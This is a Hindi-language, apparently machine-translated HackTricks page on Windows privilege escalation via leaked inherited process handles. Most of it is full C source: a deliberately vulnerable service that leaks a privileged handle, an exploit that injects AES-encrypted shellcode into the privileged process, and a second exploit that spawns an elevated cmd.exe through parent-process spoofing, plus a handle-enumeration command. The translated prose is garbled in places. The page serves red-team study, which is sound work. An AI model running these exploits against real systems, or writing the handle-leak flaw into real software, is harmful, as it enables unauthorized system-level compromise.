Leaked Handle Exploitation

htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें

HackTricks का समर्थन करने के अन्य तरीके:

परिचय

प्रक्रिया में हैंडल विभिन्न Windows संसाधनों तक पहुंचने की अनुमति देते हैं:

कई विशेषाधिकार उन्नयन मामले हो चुके हैं जहां एक विशेषाधिकार वाली प्रक्रिया ने खुले और विरासत में लिए हुए हैंडल के साथ एक अनविशेषित प्रक्रिया को चलाया है जिसने उसे उन सभी हैंडल्स तक पहुंचने की अनुमति दी है।

उदाहरण के लिए, सोचें कि एक प्रक्रिया जो सिस्टम के रूप में चल रही है एक नई प्रक्रिया खोलती है (OpenProcess()) पूर्ण पहुंच के साथ। वही प्रक्रिया एक नई प्रक्रिया भी बनाती है (CreateProcess()) कम विशेषाधिकारों के साथ लेकिन मुख्य प्रक्रिया के सभी खुले हुए हैंडल्स को विरासत में लेती है। फिर, अगर आपके पास कम विशेषाधिकार वाली प्रक्रिया के लिए पूर्ण पहुंच है, तो आप OpenProcess() के साथ बनाई गई विशेषाधिकार वाली प्रक्रिया का हैंडल पकड़ सकते हैं और एक शैलकोड इंजेक्ट कर सकते हैं।

रोचक हैंडल

प्रक्रिया

जैसा कि आपने पहले उदाहरण में पढ़ा, अगर एक अनविशेषित प्रक्रिया एक प्रक्रिया हैंडल को विशेषाधिकार वाली प्रक्रिया से विरासत में लेती है जिसमें पर्याप्त अनुमतियाँ हैं, तो वह उस पर विचारक को कोड चलाने की अनुमति होगी

इस उत्कृष्ट लेख में आप देख सकते हैं कि कैसे किसी प्रक्रिया हैंडल का शोध करना है जिसमें निम्नलिखित अनुमतियाँ हैं:

  • PROCESS_ALL_ACCESS

  • PROCESS_CREATE_PROCESS

  • PROCESS_CREATE_THREAD

  • PROCESS_DUP_HANDLE

  • PROCESS_VM_WRITE

धागा

प्रक्रिया हैंडलों की तरह, अगर एक अनविशेषित प्रक्रिया एक धागा हैंडल को विशेषाधिकार वाली प्रक्रिया से विरासत में लेती है जिसमें पर्याप्त अनुमतियाँ हैं, तो वह उस पर विचारक को कोड चलाने की अनुमति होगी

इस उत्कृष्ट लेख में आप देख सकते हैं कि कैसे किसी प्रक्रिया हैंडल का शोध करना है जिसमें निम्नलिखित अनुमतियाँ हैं:

  • THREAD_ALL_ACCESS

  • THREAD_DIRECT_IMPERSONATION

  • THREAD_SET_CONTEXT

फ़ाइल, कुंजी और खंड हैंडल

अगर एक अनविशेषित प्रक्रिया एक हैंडल विरासत में लेती है जिसमें लिखने की समकक्ष अनुमतियाँ हैं एक विशेषाधिकार फ़ाइल या रजिस्ट्री पर, तो वह फ़ाइल/रजिस्ट्री को अधिक लिख सकेगी (और बहुत से भाग्य से, विशेषाधिकार उन्नयन कर सकती है)।

खंड हैंडल फ़ाइल हैंडलों के समान होते हैं, इस प्रकार के ऑब्जेक्ट्स का सामान्य नाम "फ़ाइल मैपिंग" होता है। ये बड़ी फ़ाइलों के साथ काम करने के लिए उपयोग किए जाते हैं जिन्हें पूरी फ़ाइल को मेमोरी में रखे बिना काम करने के लिए उपयोग किया जाता है। यह उत्पीड़न किस्म के उत्पीड़न को "समान" बनाता है।

प्रक्रियाओं के हैंडल देखने का तरीका

प्रक्रिया हैकर

प्रक्रिया हैकर एक मुफ्त डाउनलोड करने योग्य उपकरण है। इसमें प्रक्रियाओं की जांच करने के कई अद्भुत विकल्प हैं और उनमें से एक है प्रत्येक प्रक्रिया के हैंडल्स देखने की क्षमता

ध्यान दें कि सभी प्रक्रियाओं के सभी हैंडल्स देखने के लिए SeDebugPrivilege की आवश्यकता है (तो आपको प्रक्रिया हैकर को प्रशासक के रूप में चलाने की आवश्यकता है)।

प्रक्रिया के हैंडल देखने के लिए, प्रक्रिया पर दायाँ क्लिक करें और हैंडल्स का चयन करें:

फिर आप हैंडल पर दायाँ क्लिक करके अनुमतियाँ जांच सकते हैं:

Sysinternals हैंडल्स

हैंडल्स Sysinternals के बाइनरी भी कन्सोल में प्रक्रियाओं के हैंडल्स को सूचीबद्ध करेगा:

LeakedHandlesFinder

यह उपकरण आपको लीक हो रहे हैंडल्स को निगरानी करने और उन्हें उन्नयन करने के लिए अनुमति देता है।

विधि

अब जब आप प्रक्रियाओं के हैंडल देखने का तरीका जान चुके हैं, तो आपको यह देखना है कि क्या कोई अनविशेषित प्रक्रिया विशेषाधिकार वाले हैंडल्स तक पहुंच रहा है। उस मामले में, प्रक्रिया के उपयोगकर्ता को हैंडल प्राप्त करने और उसे उन्नयन करने के लिए इसका दुरुपयोग करने की संभावना हो सकती है।

पहले कहा गया था कि आपको सभी हैंडल तक पहुंचने के लिए SeDebugPrivilege की आवश्यकता है। लेकिन एक उपयोगकर्ता अपनी प्रक्रियाओं के हैंडल तक पहुंच सकता है, इसलिए यदि आप उस उपयोगकर्ता से सिर्फ उस उपयोगकर्ता के अनुमतियों के साथ privesc करना चाहते हैं तो उपयोगकर्ता सामान्य अनुमतियों के साथ उपकरणों को चलाने के लिए उपयोगी हो सकता है।

handle64.exe /a | findstr /r /i "process thread file key pid:"

वंशाही उदाहरण

उदाहरण के लिए, निम्नलिखित कोड एक Windows सेवा का हिस्सा है जो संकटग्रस्त हो सकता है। इस सेवा बाइनरी का संकटग्रस्त कोड Exploit फ़ंक्शन के अंदर स्थित है। यह फ़ंक्शन पूरी पहुंच वाले नए हैंडल प्रक्रिया बनाना शुरू करता है। फिर, यह कम विशेषाधिकार वाली प्रक्रिया बनाता है (explorer.exe के कम विशेषाधिकार टोकन की प्रतिलिपि बनाकर) C:\users\username\desktop\client.exe को क्रियान्वित करता है। संकटग्रस्तता इस तथ्य में है कि यह कम विशेषाधिकार वाली प्रक्रिया bInheritHandles को TRUE के रूप में बना रहा है

इसलिए, यह कम विशेषाधिकार प्रक्रिया पहले बनाए गए उच्च विशेषाधिकार प्रक्रिया का हैंडल पकड़ सकती है और शेलकोड इंजेक्ट और क्रियान्वित कर सकती है (अगले खंड देखें)।

#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;


//Find PID of a proces from its name
int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Exploit(void) {

STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;

// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;

// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}

// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}



void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

SetEvent( stopServiceEvent );
return;

case SERVICE_CONTROL_PAUSE:
break;

case SERVICE_CONTROL_CONTINUE:
break;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

Exploit();
WaitForSingleObject( stopServiceEvent, -1 );

// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;

// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}


void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else  {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};

StartServiceCtrlDispatcher( serviceTable );
}

return 0;
}

शोध उदाहरण 1

एक वास्तविक स्थिति में आप शायद नियंत्रण नहीं कर पाएंगे जो बाइनरी होगा जो विकल्पी कोड (C:\users\username\desktop\client.exe इस मामले में) द्वारा निष्पादित किया जाएगा। शायद आप किसी प्रक्रिया को क्षति पहुंचाएंगे और आपको देखना होगा कि क्या आप किसी विशेषाधिकारी प्रक्रिया के किसी भी विकल्पी हैंडल तक पहुंच सकते हैं

इस उदाहरण में आप C:\users\username\desktop\client.exe के लिए एक संभावित उत्पीड़न का कोड पा सकते हैं। इस कोड का सबसे दिलचस्प हिस्सा GetVulnProcHandle में स्थित है। यह फ़ंक्शन सभी हैंडल्स को प्राप्त करना शुरू करेगा, फिर यह जांचेगा कि क्या उनमें से कोई भी एक ही PID का है और यदि हैंडल किसी प्रक्रिया का है। यदि सभी योग्यताएँ पूरी हो जाती हैं (एक पहुंचने योग्य खुली प्रक्रिया हैंडल मिल जाता है), तो यह प्रक्रिया के हैंडल का दुरुपयोग करके शैलकोड डालने और निष्पादित करने का प्रयास करेगा। शैलकोड का इंजेक्शन Inject फ़ंक्शन के अंदर किया जाता है और यह बस शैलकोड को विशेषाधिकारी प्रक्रिया के अंदर लिखेगा और एक थ्रेड बनाएगा जो उसी प्रक्रिया के अंदर शैलकोड को निष्पादित करेगा

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;

pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");

pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}

int main(int argc, char **argv) {

int pid = 0;
HANDLE hProc = NULL;

// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);

printf("My PID: %d\n", GetCurrentProcessId());
getchar();

// find a leaked handle to a process
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// d#Decrypt payload
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
printf("[+] Sending gift...");
// Inject and run the payload in the privileged context
Inject(hProc, payload, payload_len);
printf("done.\n");
}
getchar();

return 0;
}

शोध उदाहरण 2

एक वास्तविक स्थिति में आप शायद नियंत्रण नहीं कर पाएंगे जो बाइनरी होने जा रहा है जिसे कमजोर कोड द्वारा निष्पादित किया जाएगा (C:\users\username\desktop\client.exe इस मामले में)। शायद आप किसी प्रक्रिया को क्षति पहुंचाएंगे और आपको देखना होगा कि क्या आप किसी विशेषाधिकारी प्रक्रिया के किसी विकल्पनीय हैंडल तक पहुंच सकते हैं

इस उदाहरण में, खुले हैंडल का दुरुपयोग करने की बजाय और एक शैलकोड डालने और निष्पादित करने के लिए, विशेषाधिकारी खुले हैंडल प्रक्रिया का टोकन नया बनाने के लिए उपयोग किया जाएगा। यह 138 से 148 तक की लाइनों में किया जाता है।

ध्यान दें कि फ़ंक्शन UpdateProcThreadAttribute का उपयोग किया जाता है विशेषता PROC_THREAD_ATTRIBUTE_PARENT_PROCESS और खुली विशेषाधिकारी प्रक्रिया के हैंडल के साथ। इसका अर्थ है कि निर्मित प्रक्रिया थ्रेड जो _cmd.exe को निष्पादित कर रहा है_** उसी टोकन विशेषाधिकार के साथ होगा जैसा खुले हैंडल प्रक्रिया का हैंडल है**।

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}


int main(int argc, char **argv) {

HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
SIZE_T size;
BOOL ret;

Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));

InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );

if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}

Sleep(20000);
return 0;
}

अन्य उपकरण और उदाहरण

यह उपकरण आपको लीक हैंडल को मॉनिटर करने देता है ताकि आप वंलरेबल हैंडल्स को खोज सकें और उन्हें स्वचालित रूप से एक्सप्लॉइट कर सकें। इसमें एक लीक करने के लिए भी एक उपकरण है।

एक और उपकरण है जो एक हैंडल को लीक करने और उसे एक्सप्लॉइट करने की अनुमति देता है।

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated